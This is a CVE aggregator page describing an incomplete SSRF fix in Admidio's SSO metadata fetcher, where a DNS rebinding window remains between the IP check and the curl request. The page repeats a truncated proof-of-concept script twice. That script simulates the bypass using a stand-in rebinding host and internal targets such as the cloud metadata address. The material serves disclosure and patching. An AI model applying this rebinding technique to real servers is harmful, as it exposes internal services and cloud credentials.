CVE-2026-42194
Incomplete fix for CVE-2026-32812: SSRF in admidio
Admidio is an open-source user management solution. Prior to version 5.0.9, the incomplete SSRF fix in Admidio's fetch_metadata.php validates the resolved IP address but passes the original hostname-based URL to curl_init(), leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs. This issue has been patched in version 5.0.9.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- High
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.8
Incomplete fix for CVE-2026-32812: SSRF in admidio
Admidio is an open-source user management solution. Prior to version 5.0.9, the incomplete SSRF fix in Admidio's fetch_metadata.php validates the resolved IP address but passes the original hostname-based URL to curl_init(), leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs. This issue has been patched in version 5.0.9.
- Record
CVE-2026-42194- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-28296
6.8
Admidio is an open-source user management solution. Prior to version 5.0.9, the incomplete SSRF fix in Admidio's fetch_metadata.php validates the resolved IP address but passes the original hostname-based URL to curl_init(), leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs. This issue has been patched in version 5.0.9.
- Record
EUVD-2026-28296- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-hcjj-chvw-fmw9
6.8
Admidio has an incomplete fix for CVE-2026-32812 (SSRF)
Summary
The incomplete SSRF fix in Admidio's fetch_metadata.php validates the resolved IP address but passes the original hostname-based URL to curl_init(), leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs.
Affected Package
- Ecosystem: Other
- Package: admidio
- Affected versions: < commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a
- Patched versions: >= commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a
Severity
Medium
CWE
CWE-918 — Server-Side Request Forgery (SSRF)
Details
In modules/sso/fetch_metadata.php (lines 21-49), the SSO metadata fetch validates the URL scheme is HTTPS (line 21), runs filter_var($rawUrl, FILTER_VALIDATE_URL) (line 27), resolves the hostname via gethostbyname() and checks the IP against private/reserved ranges (lines 34-38), then passes the original URL with the hostname to curl_init($url) at line 41.
The fundamental problem is at step 4: cURL resolves the hostname again independently. Between gethostbyname() at step 3 and curl_exec() at step 4, a DNS rebinding attack can cause the hostname to resolve to 169.254.169.254 (AWS metadata), 127.0.0.1, or any other internal address. No CURLOPT_RESOLVE is set to pin the hostname to the validated IP.
The TOCTOU window between gethostbyname() and curl_exec() is the core issue, and the patch does not close it.
PoC
#!/usr/bin/env python3
"""
CVE-2026-32812 - Admidio SSRF via DNS Rebinding in fetch_metadata.php
Vulnerability: modules/sso/fetch_metadata.php resolves hostname via gethostbyname()
and checks if IP is private, but passes the ORIGINAL URL (with hostname) to curl_init().
DNS rebinding can cause hostname to resolve to internal IP when cURL actually connects.
Real vulnerable PHP code copied from:
Admidio/admidio, modules/sso/fetch_metadata.php
This PoC runs the actual PHP validation logic via `php -r`.
"""
import subprocess
import sys
import os
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
VULN_PHP = os.path.join(SCRIPT_DIR, "fetch_metadata.php")
def run_php(code):
return subprocess.run(["php", "-r", code], capture_output=True, text=True, timeout=15)
def main():
if not os.path.exists(VULN_PHP):
print(f"ERROR: Vulnerable PHP source not found at {VULN_PHP}")
sys.exit(1)
print(f"Source file: {VULN_PHP}")
print("Extracted from: Admidio/admidio, modules/sso/fetch_metadata.php\n")
php_code = r"""
echo "=== CVE-2026-32812: Admidio SSRF via DNS Rebinding ===\n\n";
// Extracted from: modules/sso/fetch_metadata.php lines 21-49
// Character-for-character copy of the validation logic:
function test_admidio_ssrf_filter($rawUrl, $simulated_ip) {
// Only allow https:// scheme (line 21)
if (!preg_match('#^https://#i', $rawUrl)) {
return ['blocked' => true, 'reason' => 'Not HTTPS'];
}
// Validate URL (line 27)
$url = filter_var($rawUrl, FILTER_VALIDATE_URL);
if (!$url) {
return ['blocked' => true, 'reason' => 'Invalid URL'];
}
// Resolve hostname and block internal/private IP ranges (lines 34-38)
$host = parse_url($url, PHP_URL_HOST);
$ip = $simulated_ip; // In real code: gethostbyname($host)
if (filter_var($ip, FILTER_VALIDATE_IP,
FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
return ['blocked' => true, 'reason' => "Private/reserved IP: $ip"];
}
// VULNERABILITY: curl_init($url) at line 41 uses original URL with hostname
return [
'blocked' => false,
'url_passed_to_curl' => $url,
'host' => $host,
'checked_ip' => $ip,
];
}
$tests = [
['https://attacker-rebind.example.com/saml/metadata', '93.184.216.34',
'Public IP at check time - passes, then DNS rebinds to 169.254.169.254'],
…
- Record
GHSA-hcjj-chvw-fmw9- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
NVD
6.8
Admidio is an open-source user management solution. Prior to version 5.0.9, the incomplete SSRF fix in Admidio's fetch_metadata.php validates the resolved IP address but passes the original hostname-based URL to curl_init(), leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs. This issue has been patched in version 5.0.9.
- Record
CVE-2026-42194- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSV
6.8
Incomplete fix for CVE-2026-32812: SSRF in admidio
Admidio is an open-source user management solution. Prior to version 5.0.9, the incomplete SSRF fix in Admidio's fetch_metadata.php validates the resolved IP address but passes the original hostname-based URL to curl_init(), leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs. This issue has been patched in version 5.0.9.
- Record
CVE-2026-42194- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVGHSA-hcjj-chvw-fmw9
6.8
Admidio has an incomplete fix for CVE-2026-32812 (SSRF)
Summary
The incomplete SSRF fix in Admidio's fetch_metadata.php validates the resolved IP address but passes the original hostname-based URL to curl_init(), leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs.
Affected Package
- Ecosystem: Other
- Package: admidio
- Affected versions: < commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a
- Patched versions: >= commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a
Severity
Medium
CWE
CWE-918 — Server-Side Request Forgery (SSRF)
Details
In modules/sso/fetch_metadata.php (lines 21-49), the SSO metadata fetch validates the URL scheme is HTTPS (line 21), runs filter_var($rawUrl, FILTER_VALIDATE_URL) (line 27), resolves the hostname via gethostbyname() and checks the IP against private/reserved ranges (lines 34-38), then passes the original URL with the hostname to curl_init($url) at line 41.
The fundamental problem is at step 4: cURL resolves the hostname again independently. Between gethostbyname() at step 3 and curl_exec() at step 4, a DNS rebinding attack can cause the hostname to resolve to 169.254.169.254 (AWS metadata), 127.0.0.1, or any other internal address. No CURLOPT_RESOLVE is set to pin the hostname to the validated IP.
The TOCTOU window between gethostbyname() and curl_exec() is the core issue, and the patch does not close it.
PoC
#!/usr/bin/env python3
"""
CVE-2026-32812 - Admidio SSRF via DNS Rebinding in fetch_metadata.php
Vulnerability: modules/sso/fetch_metadata.php resolves hostname via gethostbyname()
and checks if IP is private, but passes the ORIGINAL URL (with hostname) to curl_init().
DNS rebinding can cause hostname to resolve to internal IP when cURL actually connects.
Real vulnerable PHP code copied from:
Admidio/admidio, modules/sso/fetch_metadata.php
This PoC runs the actual PHP validation logic via `php -r`.
"""
import subprocess
import sys
import os
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
VULN_PHP = os.path.join(SCRIPT_DIR, "fetch_metadata.php")
def run_php(code):
return subprocess.run(["php", "-r", code], capture_output=True, text=True, timeout=15)
def main():
if not os.path.exists(VULN_PHP):
print(f"ERROR: Vulnerable PHP source not found at {VULN_PHP}")
sys.exit(1)
print(f"Source file: {VULN_PHP}")
print("Extracted from: Admidio/admidio, modules/sso/fetch_metadata.php\n")
php_code = r"""
echo "=== CVE-2026-32812: Admidio SSRF via DNS Rebinding ===\n\n";
// Extracted from: modules/sso/fetch_metadata.php lines 21-49
// Character-for-character copy of the validation logic:
function test_admidio_ssrf_filter($rawUrl, $simulated_ip) {
// Only allow https:// scheme (line 21)
if (!preg_match('#^https://#i', $rawUrl)) {
return ['blocked' => true, 'reason' => 'Not HTTPS'];
}
// Validate URL (line 27)
$url = filter_var($rawUrl, FILTER_VALIDATE_URL);
if (!$url) {
return ['blocked' => true, 'reason' => 'Invalid URL'];
}
// Resolve hostname and block internal/private IP ranges (lines 34-38)
$host = parse_url($url, PHP_URL_HOST);
$ip = $simulated_ip; // In real code: gethostbyname($host)
if (filter_var($ip, FILTER_VALIDATE_IP,
FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
return ['blocked' => true, 'reason' => "Private/reserved IP: $ip"];
}
// VULNERABILITY: curl_init($url) at line 41 uses original URL with hostname
return [
'blocked' => false,
'url_passed_to_curl' => $url,
'host' => $host,
'checked_ip' => $ip,
];
}
$tests = [
['https://attacker-rebind.example.com/saml/metadata', '93.184.216.34',
'Public IP at check time - passes, then DNS rebinds to 169.254.169.254'],
…
- Record
GHSA-hcjj-chvw-fmw9- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
admidio/admidioPackagist |
through 5.0.8 | 5.0.9 |
admidio/admidioPackagist |
before 5.0.9, plus listed versions 4.1.04.1.3v4.2-Beta.1v4.2-Beta.2v4.2-Beta.3 Show 45 moreShow lessv4.2.0v4.2.1v4.2.10v4.2.11v4.2.12v4.2.13v4.2.14v4.2.2v4.2.3v4.2.4v4.2.5v4.2.6v4.2.7v4.2.8v4.2.9v4.3-Beta.1v4.3-Beta.3v4.3-Beta.4v4.3-Beta.5v4.3.0v4.3.1v4.3.10v4.3.11v4.3.12v4.3.13v4.3.14v4.3.15v4.3.16v4.3.17v4.3.2v4.3.3v4.3.4v4.3.5v4.3.6v4.3.7v4.3.8v4.3.9v5.0-Beta.1v5.0-Beta.2v5.0-Beta.3v5.0.0v5.0.1v5.0.2v5.0.3v5.0.4 |
5.0.9 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-42194 is a medium vulnerability (CVSS 6.8) in Admidio, published May 5, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 14th percentile. Fixed in admidio/admidio 5.0.9.
References
github.com/Admidio/admidio/security/advisories/GHSA-hcjj-chvw-fmw9
github.com/Admidio/admidio/releases/tag/v5.0.9
github.com/Admidio/admidio/security/advisories/GHSA-6j68-gcc3-mq73
github.com/Admidio/admidio/commit/f6b7a966abe4d75e9f707d665d7b4b5570e3185a
nvd.nist.gov/vuln/detail/CVE-2026-42194
github.com/advisories/GHSA-hcjj-chvw-fmw9
github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42194.json
github.com/Admidio/admidio
Left out here: 4 versions and the rest of 2 source descriptions. The JSON record has them.